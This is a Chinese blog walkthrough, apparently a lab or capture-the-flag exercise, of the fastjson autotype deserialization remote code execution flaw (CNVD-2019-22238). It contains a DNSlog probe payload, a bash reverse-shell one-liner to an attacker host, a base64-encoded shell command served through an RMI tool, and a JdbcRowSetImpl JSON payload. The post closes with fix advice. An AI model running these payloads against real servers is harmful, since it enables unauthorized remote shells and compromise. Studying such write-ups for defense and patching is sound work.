fastjson CNVD-2019-22238 远程代码执行漏洞

漏洞简介

  • Fastjson是一个 Java 库,可以将 Java 对象与 JSON 字符串相互转化,fastjson提供了 autotype 功能,允许用户在反序列化数据中通过 @type 指定反序列化的类型,其次,fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的 Gadget),则会造成一些严重的安全问题;

fastjson了解

  • fastjson是阿里巴巴公司开源的一款json解析器,它可以将 Java 字符串序列化为 JSON 字符串,也可以将 JSON 字符串反序列化为 Java对象,而fastjson的作用是用于对JSON格式的数据进行解析和打包,所以出现json格式的地方就有可能使用了fastjson;

受影响版本

  • fastjson <= 1.2.47

1.2.24版本

  • fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性;通过查找代码中相关的方法,即可构造出一些恶意利用链;

1.2.47版本

  • fastjson于1.2.24版本后增加了反序列化白名单,而在1.2.48以前的版本中,攻击者可以利用特殊构造的json字符串绕过白名单检测,成功执行任意命令;

环境搭建

漏洞验证

  • 开启靶场成功访问,看到是一个JSON数据格式的页面;

在这里插入图片描述

  • 乱点一通后也没发现啥其他的信息,开启Burp抓个包看看;

在这里插入图片描述

  • 放包正常响应,但是发现将GET修改为POST报了400;

在这里插入图片描述

  • 查错后发现好像是说请求体错误需要进行传值,尝试传值看下会有什么响应,就地取材叭复制GET请求的那个JSON数据😂;

在这里插入图片描述

  • 发现居然200成功了,可尝试构造JSON数据看能否执行命令,可使用dnslog平台进行测试;

在这里插入图片描述

  • 构造JSON数据进行发包;
{"name":{"@type":"java.net.InetAddress","val":"dnslog测试域名"}}

在这里插入图片描述

  • 返回dnslog平台查看结果发现盲打成功了;

在这里插入图片描述

漏洞复现

  • 构造执行恶意命令的JSON数据,使用fastjson工具;

在这里插入图片描述

bash -i >& /dev/tcp/vps-ip/监听端口 0>&1: 如果是本地搭建的环境使用kali反弹及其他操作即可,特殊情况需使用vps

在这里插入图片描述

  • 执行java命令在vps上生成payload,不知道为啥这两个payload貌似都不能成功,所以只复制rmi部分;
java -cp fastjson_tool.jar fastjson.HRMIServer x.x.x.x 4321 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC94LngueC54LzEyMzQgMD4mMQo=}|{base64,-d}|{bash,-i}": x.x.x.x为攻击机IP; 4321为端口,可随意端口; 引号内容为base64编码后的反弹命令;

在这里插入图片描述

反弹shell

  • 将复制的rmi部分与下面paylaodrmi部分进行替换;
{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://x.x.x.x:4321/Object",
        "autoCommit":true
    }
}

在这里插入图片描述

  • 开启监听,端口为反弹shell命令端口;

在这里插入图片描述

  • 点击发包返回500,查看监听成功反弹shell;

在这里插入图片描述

  • /tmp目录下成功拿到flag;

在这里插入图片描述

修复意见

1)使用WAF紧急漏洞拦截,升级至安全版本;
2)对fastjson进行一定的安全加固措施;
3)采用其他json处理组件替换,jackson-databind漏洞也频发,建议使用Gson;

上一篇 > log4j2 CVE-2021-44228 远程代码执行漏洞

下一篇 > jboss CVE-2015-7501 反序列化漏洞

以上内容就是fastjson CNVD-2019-22238 远程代码执行漏洞复现过程,如有还不太理解或有其他想法的小伙伴们都可以私信我或评论区打出来哟,如有写的不好的地方也请大家多多包涵一下,我也会慢慢去改进和提高的,请各位小伙伴多多支持,走之前别忘了点个赞哟😁!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值